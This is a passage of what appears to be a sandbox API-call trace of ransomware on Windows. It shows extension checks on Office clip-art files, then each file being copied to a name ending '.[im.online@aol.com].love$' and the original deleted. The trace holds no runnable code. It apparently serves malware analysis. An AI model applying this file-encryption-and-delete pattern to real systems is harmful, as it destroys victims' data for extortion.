lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.790] lstrlenW (lpString=".xls") returned 4 [0271.790] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.790] lstrlenW (lpString=".xlsx") returned 5 [0271.790] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0271.790] lstrlenW (lpString=".ppt") returned 4 [0271.790] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.790] lstrlenW (lpString=".zip") returned 4 [0271.790] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.790] lstrlenW (lpString=".rar") returned 4 [0271.790] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.790] lstrlenW (lpString=".bz2") returned 4 [0271.790] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.790] lstrlenW (lpString=".7z") returned 3 [0271.790] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.790] lstrlenW (lpString=".dbf") returned 4 [0271.791] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.791] lstrlenW (lpString=".1cd") returned 4 [0271.791] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.791] lstrlenW (lpString=".jpg") returned 4 [0271.791] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.791] lstrlenW (lpString=".doc") returned 4 [0271.791] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.791] lstrlenW (lpString=".docx") returned 5 [0271.791] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0271.791] lstrlenW (lpString=".pdf") returned 4 [0271.791] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.791] lstrlenW (lpString=".xls") returned 4 [0271.791] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.791] lstrlenW (lpString=".xlsx") returned 5 [0271.791] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0271.791] lstrlenW (lpString=".ppt") returned 4 [0271.791] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.791] lstrlenW (lpString=".zip") returned 4 [0271.791] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.791] lstrlenW (lpString=".rar") returned 4 [0271.792] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.792] lstrlenW (lpString=".bz2") returned 4 [0271.792] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.792] lstrlenW (lpString=".7z") returned 3 [0271.792] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.792] lstrlenW (lpString=".dbf") returned 4 [0271.792] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.792] lstrlenW (lpString=".1cd") returned 4 [0271.792] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0271.792] lstrlenW (lpString=".jpg") returned 4 [0271.792] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.794] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0271.794] lstrlenW (lpString="J0099205.WMF") returned 12 [0271.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0271.796] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=17854) returned 1 [0271.796] CloseHandle (hObject=0x4c8) returned 1 [0271.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0271.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0271.797] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.797] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0271.799] GetLastError () returned 0x0 [0271.799] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x45be, lpOverlapped=0x0) returned 1 [0271.803] WriteFile (in: hFile=0x484, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0271.805] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.805] WriteFile (in: hFile=0x484, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.805] SetEndOfFile (hFile=0x484) returned 1 [0271.805] CloseHandle (hObject=0x484) returned 1 [0271.805] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.805] SetEndOfFile (hFile=0x4c8) returned 1 [0271.810] CloseHandle (hObject=0x4c8) returned 1 [0271.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0271.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.812] lstrlenW (lpString=".doc") returned 4 [0271.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.813] lstrlenW (lpString=".docx") returned 5 [0271.813] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0271.813] lstrlenW (lpString=".pdf") returned 4 [0271.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.813] lstrlenW (lpString=".xls") returned 4 [0271.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.813] lstrlenW (lpString=".xlsx") returned 5 [0271.813] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0271.813] lstrlenW (lpString=".ppt") returned 4 [0271.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.813] lstrlenW (lpString=".zip") returned 4 [0271.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.813] lstrlenW (lpString=".rar") returned 4 [0271.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.813] lstrlenW (lpString=".bz2") returned 4 [0271.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.813] lstrlenW (lpString=".7z") returned 3 [0271.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.813] lstrlenW (lpString=".dbf") returned 4 [0271.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.813] lstrlenW (lpString=".1cd") returned 4 [0271.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.813] lstrlenW (lpString=".jpg") returned 4 [0271.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.814] lstrlenW (lpString=".doc") returned 4 [0271.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.814] lstrlenW (lpString=".docx") returned 5 [0271.814] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0271.814] lstrlenW (lpString=".pdf") returned 4 [0271.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.814] lstrlenW (lpString=".xls") returned 4 [0271.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.814] lstrlenW (lpString=".xlsx") returned 5 [0271.814] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0271.814] lstrlenW (lpString=".ppt") returned 4 [0271.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.814] lstrlenW (lpString=".zip") returned 4 [0271.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.814] lstrlenW (lpString=".rar") returned 4 [0271.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.815] lstrlenW (lpString=".bz2") returned 4 [0271.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.815] lstrlenW (lpString=".7z") returned 3 [0271.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.815] lstrlenW (lpString=".dbf") returned 4 [0271.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.815] lstrlenW (lpString=".1cd") returned 4 [0271.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0271.815] lstrlenW (lpString=".jpg") returned 4 [0271.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.815] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0271.816] lstrlenW (lpString="J0101856.BMP") returned 12 [0271.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0271.817] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=78840) returned 1 [0271.817] CloseHandle (hObject=0x4c8) returned 1 [0271.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0271.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0271.818] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.818] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0272.010] GetLastError () returned 0x0 [0272.010] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x133f8, lpOverlapped=0x0) returned 1 [0272.094] WriteFile (in: hFile=0x484, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13400, lpOverlapped=0x0) returned 1 [0272.097] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.097] WriteFile (in: hFile=0x484, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.097] SetEndOfFile (hFile=0x484) returned 1 [0272.105] CloseHandle (hObject=0x484) returned 1 [0272.114] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.114] SetEndOfFile (hFile=0x4c8) returned 1 [0272.123] CloseHandle (hObject=0x4c8) returned 1 [0272.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0272.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.126] lstrlenW (lpString=".doc") returned 4 [0272.126] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.126] lstrlenW (lpString=".docx") returned 5 [0272.126] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0272.126] lstrlenW (lpString=".pdf") returned 4 [0272.126] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.126] lstrlenW (lpString=".xls") returned 4 [0272.126] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.126] lstrlenW (lpString=".xlsx") returned 5 [0272.126] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0272.126] lstrlenW (lpString=".ppt") returned 4 [0272.126] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.126] lstrlenW (lpString=".zip") returned 4 [0272.126] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.126] lstrlenW (lpString=".rar") returned 4 [0272.126] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.126] lstrlenW (lpString=".bz2") returned 4 [0272.126] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.126] lstrlenW (lpString=".7z") returned 3 [0272.126] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.126] lstrlenW (lpString=".dbf") returned 4 [0272.126] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.127] lstrlenW (lpString=".1cd") returned 4 [0272.127] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.127] lstrlenW (lpString=".jpg") returned 4 [0272.127] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.127] lstrlenW (lpString=".doc") returned 4 [0272.127] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.127] lstrlenW (lpString=".docx") returned 5 [0272.127] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0272.127] lstrlenW (lpString=".pdf") returned 4 [0272.127] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.127] lstrlenW (lpString=".xls") returned 4 [0272.127] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.127] lstrlenW (lpString=".xlsx") returned 5 [0272.127] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0272.127] lstrlenW (lpString=".ppt") returned 4 [0272.127] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.127] lstrlenW (lpString=".zip") returned 4 [0272.127] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.127] lstrlenW (lpString=".rar") returned 4 [0272.127] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.127] lstrlenW (lpString=".bz2") returned 4 [0272.128] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.128] lstrlenW (lpString=".7z") returned 3 [0272.128] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.128] lstrlenW (lpString=".dbf") returned 4 [0272.128] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.128] lstrlenW (lpString=".1cd") returned 4 [0272.128] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0272.128] lstrlenW (lpString=".jpg") returned 4 [0272.128] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.128] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0272.128] lstrlenW (lpString="J0101863.BMP") returned 12 [0272.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0272.130] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=32184) returned 1 [0272.130] CloseHandle (hObject=0x4c8) returned 1 [0272.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0272.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0272.131] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.131] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0272.134] GetLastError () returned 0x0 [0272.134] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0272.142] WriteFile (in: hFile=0x454, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0272.144] ReadFile (in: hFile=0x4c8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.144] WriteFile (in: hFile=0x454, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.145] SetEndOfFile (hFile=0x454) returned 1 [0272.145] CloseHandle (hObject=0x454) returned 1 [0272.145] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.145] SetEndOfFile (hFile=0x4c8) returned 1 [0272.149] CloseHandle (hObject=0x4c8) returned 1 [0272.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0272.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0272.152] lstrlenW (lpString=".doc") returned 4 [0272.152] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.152] lstrlenW (lpString=".docx") returned 5 [0272.152] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0272.152] lstrlenW (lpString=".pdf") returned 4 [0272.152] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.152] lstrlenW (lpString=".xls") returned 4 [0272.152] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.152] lstrlenW (lpString=".xlsx") returned 5 [0272.152] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0272.152] lstrlenW (lpString=".ppt") returned 4 [0272.152] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.456] lstrlenW (lpString="C:\\Program Files\\Microsoft 